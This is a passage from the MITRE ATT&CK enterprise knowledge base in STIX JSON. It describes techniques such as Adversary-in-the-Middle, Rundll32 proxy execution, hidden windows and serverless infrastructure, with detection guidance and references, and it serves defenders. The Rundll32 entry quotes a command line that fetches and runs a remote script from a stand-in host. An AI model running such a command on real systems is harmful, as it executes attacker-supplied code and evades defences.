administrator account may be necessary. \n\nAn adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["macOS", "Windows", "Linux", "Network"], "x_mitre_version": "2.3", "x_mitre_data_sources": ["File: File Modification", "Windows Registry: Windows Registry Key Creation", "Command: Command Execution", "File: File Creation", "Process: Process Creation", "Active Directory: Active Directory Object Modification"], "type": "attack-pattern", "id": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334", "created": "2017-05-31T21:30:38.910Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1037", "external_id": "T1037"}, {"source_name": "Anomali Rocke March 2019", "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019.", "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang"}, {"source_name": "Mandiant APT29 Eye Spy Email Nov 22", "description": "Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.", "url": "https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-18T14:26:21.852Z", "name": "Adversary-in-the-Middle", "description": "Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\n\nFor example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens ([Steal Application Access Token](https://attack.mitre.org/techniques/T1528)) and session cookies ([Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)).(Citation: volexity_0day_sophos_FW)(Citation: Token tactics) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)\n\nAdversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}, {"kill_chain_name": "mitre-attack", "phase_name": "collection"}], "x_mitre_contributors": ["Mayuresh Dani, Qualys", "Daniil Yugoslavskiy, @yugoslavskiy, Atomic Threat Coverage project", "NEC"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor network traffic for anomalies associated with known AiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "macOS", "Linux", "Network"], "x_mitre_version": "2.4", "x_mitre_data_sources": ["Application Log: Application Log Content", "Network Traffic: Network Traffic Content", "Windows Registry: Windows Registry Key Modification", "Network Traffic: Network Traffic Flow", "Service: Service Creation"], "type": "attack-pattern", "id": "attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", "created": "2020-02-11T19:07:12.114Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1557", "external_id": "T1557"}, {"source_name": "dns_changer_trojans", "description": "Abendan, O. (2012, June 14). How DNS Changer Trojans Direct Users to Threats. Retrieved October 28, 2021.", "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/125/how-dns-changer-trojans-direct-users-to-threats"}, {"source_name": "volexity_0day_sophos_FW", "description": "Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.", "url": "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/"}, {"source_name": "taxonomy_downgrade_att_tls", "description": "Alashwali, E. S., Rasmussen, K. (2019, January 26). What's in a Downgrade? A Taxonomy of Downgrade Attacks in the TLS Protocol and Application Protocols Using TLS. Retrieved December 7, 2021.", "url": "https://arxiv.org/abs/1809.05681"}, {"source_name": "ad_blocker_with_miner", "description": "Kuzmenko, A.. (2021, March 10). Ad blocker with miner included. Retrieved October 28, 2021.", "url": "https://securelist.com/ad-blocker-with-miner-included/101105/"}, {"source_name": "Token tactics", "description": "Microsoft Incident Response. (2022, November 16). Token tactics: How to prevent, detect, and respond to cloud token theft. Retrieved December 26, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2022/11/16/token-tactics-how-to-prevent-detect-and-respond-to-cloud-token-theft/"}, {"source_name": "mitm_tls_downgrade_att", "description": "praetorian Editorial Team. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved December 8, 2021.", "url": "https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/"}, {"source_name": "Rapid7 MiTM Basics", "description": "Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March 2, 2020.", "url": "https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/"}, {"source_name": "tlseminar_downgrade_att", "description": "Team Cinnamon. (2017, February 3). Downgrade Attacks. Retrieved December 9, 2021.", "url": "https://tlseminar.github.io/downgrade-attacks/"}, {"source_name": "ttint_rat", "description": "Tu, L. Ma, Y. Ye, G. (2020, October 1). Ttint: An IoT Remote Access Trojan spread through 2 0-day vulnerabilities. Retrieved October 28, 2021.", "url": "https://blog.netlab.360.com/ttint-an-iot-remote-control-trojan-spread-through-2-0-day-vulnerabilities/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-09-29T19:50:06.736Z", "name": "System Owner/User Discovery", "description": "Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nVarious utilities and commands may acquire this information, including <code>whoami</code>. In macOS and Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>. On macOS the <code>dscl . list /Users | grep -v '_'</code> command can also be used to enumerate user accounts. Environment variables, such as <code>%USERNAME%</code> and <code>$USER</code>, may also be used to access this information.\n\nOn network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show users` and `show ssh` can be used to display users currently logged into the device.(Citation: show_ssh_users_cmd_cisco)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_contributors": ["Austin Clark, @c2defense"], "x_mitre_deprecated": false, "x_mitre_detection": "`System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nFor network infrastructure devices, collect AAA logging to monitor `show` commands being run by non-standard users from non-standard locations.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_version": "1.5", "x_mitre_data_sources": ["Active Directory: Active Directory Object Access", "Process: OS API Execution", "Command: Command Execution", "Network Traffic: Network Traffic Content", "Process: Process Creation", "Network Traffic: Network Traffic Flow", "Windows Registry: Windows Registry Key Access", "File: File Access", "Process: Process Access"], "type": "attack-pattern", "id": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "created": "2017-05-31T21:30:35.733Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1033", "external_id": "T1033"}, {"source_name": "show_ssh_users_cmd_cisco", "description": "Cisco. (2023, March 7). Cisco IOS Security Command Reference: Commands S to Z . Retrieved July 13, 2022.", "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-s5.html"}, {"source_name": "US-CERT TA18-106A Network Infrastructure Devices 2018", "description": "US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", "url": "https://us-cert.cisa.gov/ncas/alerts/TA18-106A"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-02-28T21:13:02.648Z", "name": "Acquire Infrastructure", "description": "Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost.(Citation: Free Trial PurpleUrchin) Additionally, botnets are available for rent or purchase.\n\nUse of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation: Mandiant APT29 Microsoft 365 2022) Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_contributors": ["Shailesh Tiwary (Indian Army)", "Goldstein Menachem"], "x_mitre_deprecated": false, "x_mitre_detection": "Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. \n\nOnce adversaries have provisioned infrastructure (ex: a server for use in command and control), internet scans may help proactively discover adversary acquired infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["PRE"], "x_mitre_version": "1.4", "x_mitre_data_sources": ["Internet Scan: Response Metadata", "Internet Scan: Response Content", "Domain Name: Active DNS", "Domain Name: Passive DNS", "Domain Name: Domain Registration"], "type": "attack-pattern", "id": "attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2", "created": "2020-09-30T16:37:40.271Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1583", "external_id": "T1583"}, {"source_name": "amnesty_nso_pegasus", "description": "Amnesty International Security Lab. (2021, July 18). Forensic Methodology Report: How to catch NSO Group\u2019s Pegasus. Retrieved February 22, 2022.", "url": "https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/"}, {"source_name": "Mandiant APT29 Microsoft 365 2022", "description": "Douglas Bienstock. (2022, August 18). You Can\u2019t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.", "url": "https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft"}, {"source_name": "FBI Proxies Credential Stuffing", "description": "FBI. (2022, August 18). Proxies and Configurations Used for Credential Stuffing Attacks on Online Customer Accounts . Retrieved July 6, 2023.", "url": "https://www.ic3.gov/Media/News/2022/220818.pdf"}, {"source_name": "Free Trial PurpleUrchin", "description": "Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.", "url": "https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/"}, {"source_name": "Koczwara Beacon Hunting Sep 2021", "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"}, {"source_name": "TrendmicroHideoutsLease", "description": "Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.", "url": "https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf"}, {"source_name": "Mandiant SCANdalous Jul 2020", "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.", "url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation"}, {"source_name": "ThreatConnect Infrastructure Dec 2020", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-08-14T15:35:28.965Z", "name": "Rundll32", "description": "Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>).\n\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"</code>  This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\n\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, rundll32.exe would first attempt to execute <code>ExampleFunctionW</code>, or failing that <code>ExampleFunctionA</code>, before loading <code>ExampleFunction</code>). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending <code>W</code> and/or <code>A</code> to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: <code>rundll32.exe file.dll,#1</code>).\n\nAdditionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Gareth Phillips, Seek Ltd.", "Casey Smith", "Ricardo Dias", "James_inthe_box, Me"], "x_mitre_deprecated": false, "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity.\n\nCommand arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "2.2", "x_mitre_data_sources": ["Process: Process Creation", "Command: Command Execution", "File: File Metadata", "Module: Module Load"], "x_mitre_defense_bypassed": ["Digital Certificate Validation", "Application control", "Anti-virus"], "type": "attack-pattern", "id": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "created": "2020-01-23T18:03:46.248Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1218/011", "external_id": "T1218.011"}, {"source_name": "rundll32.exe defense evasion", "description": "Ariel silver. (2022, February 1). Defense Evasion Techniques. Retrieved April 8, 2022.", "url": "https://www.cynet.com/attack-techniques-hands-on/defense-evasion-techniques/"}, {"source_name": "Attackify Rundll32.exe Obscurity", "description": "Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23, 2021.", "url": "https://www.attackify.com/blog/rundll32_execution_order/"}, {"source_name": "This is Security Command Line Confusion", "description": "B. Ancel. (2014, August 20). Poweliks \u2013 Command Line Confusion. Retrieved March 5, 2018.", "url": "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/"}, {"source_name": "Github NoRunDll", "description": "gtworek. (2019, December 17). NoRunDll. Retrieved August 23, 2021.", "url": "https://github.com/gtworek/PSBits/tree/master/NoRunDll"}, {"source_name": "Trend Micro CPL", "description": "Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.", "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-15T16:08:50.706Z", "name": "Container and Resource Discovery", "description": "Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.\n\nThese resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may leak information about the environment, such as the environment\u2019s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary\u2019s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_contributors": ["Vishwas Manral, McAfee", "Center for Threat-Informed Defense (CTID)", "Yossi Weizman, Azure Defender Research Team"], "x_mitre_deprecated": false, "x_mitre_detection": "Establish centralized logging for the activity of container and Kubernetes cluster components. This can be done by deploying logging agents on Kubernetes nodes and retrieving logs from sidecar proxies for application pods to detect malicious activity at the cluster level.\n\nMonitor logs for actions that could be taken to gather information about container infrastructure, including the use of discovery API calls by new or unexpected users. Monitor account activity logs to see actions performed and activity associated with the Kubernetes dashboard and other web applications. ", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Containers"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Pod: Pod Enumeration", "Container: Container Enumeration"], "type": "attack-pattern", "id": "attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336", "created": "2021-03-31T14:26:00.848Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1613", "external_id": "T1613"}, {"source_name": "Docker API", "description": "Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021.", "url": "https://docs.docker.com/engine/api/v1.41/"}, {"source_name": "Kubernetes API", "description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.", "url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2022-10-20T21:20:22.578Z", "name": "Serverless", "description": "Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.\n\nOnce acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers.(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_detection": "", "x_mitre_platforms": ["PRE"], "x_mitre_is_subtechnique": true, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_contributors": ["Awake Security"], "x_mitre_data_sources": ["Internet Scan: Response Content"], "type": "attack-pattern", "id": "attack-pattern--04a5a8ab-3bc8-4c83-95c9-55274a89786d", "created": "2022-07-08T12:39:29.684Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1583/007", "external_id": "T1583.007"}, {"source_name": "AWS Lambda Redirector", "description": "Adam Chester. (2020, February 25). AWS Lambda Redirector. Retrieved July 8, 2022.", "url": "https://blog.xpnsec.com/aws-lambda-redirector/"}, {"source_name": "Detecting Command & Control in the Cloud", "description": "Gary Golomb. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved July 8, 2022.", "url": "https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/"}, {"source_name": "BlackWater Malware Cloudflare Workers", "description": "Lawrence Abrams. (2020, March 14). BlackWater Malware Abuses Cloudflare Workers for C2 Communication. Retrieved July 8, 2022.", "url": "https://www.bleepingcomputer.com/news/security/blackwater-malware-abuses-cloudflare-workers-for-c2-communication/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Travis Smith, Tripwire"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", "type": "attack-pattern", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1143", "url": "https://attack.mitre.org/techniques/T1143"}, {"source_name": "PowerShell About 2019", "url": "https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1", "description": "Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved October 11, 2019."}, {"url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.", "source_name": "Antiquated Mac Malware"}], "modified": "2020-03-13T21:03:18.600Z", "name": "Hidden Window", "description": "Adversaries may implement hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. Adversaries may abuse operating system functionality to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.\n\n### Windows\nThere are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1086), Jscript, and VBScript to make windows hidden. One example of this is <code>powershell.exe -WindowStyle Hidden</code>.  (Citation: PowerShell About 2019)\n\n### Mac\nThe configurations for how applications run on macOS are listed in property list (plist) files. One of the tags in these files can be\u00a0<code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window.(Citation: Antiquated Mac Malware)\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Monitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the <code>apple.awt.UIElement</code> or any other suspicious plist tag in plist files and flag them.", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--04ef4356-8926-45e2-9441-634b6f3dcecb", "type": "attack-pattern", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1161", "url": "https://attack.mitre.org/techniques/T1161"}, {"url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf", "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.", "source_name": "Writing Bad Malware for OSX"}, {"url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.", "source_name": "Malware Persistence on OS X"}], "modified": "2021-03-30T00:51:58.008Z", "name": "LC_LOAD_DYLIB Addition", "description": "Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time (Citation: Malware Persistence on OS X).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User"], "x_mitre_is_subtechnique": false}, {"modified": "2023-03-03T00:31:33.071Z", "name": "Standard Encoding", "description": "Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding)(Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the 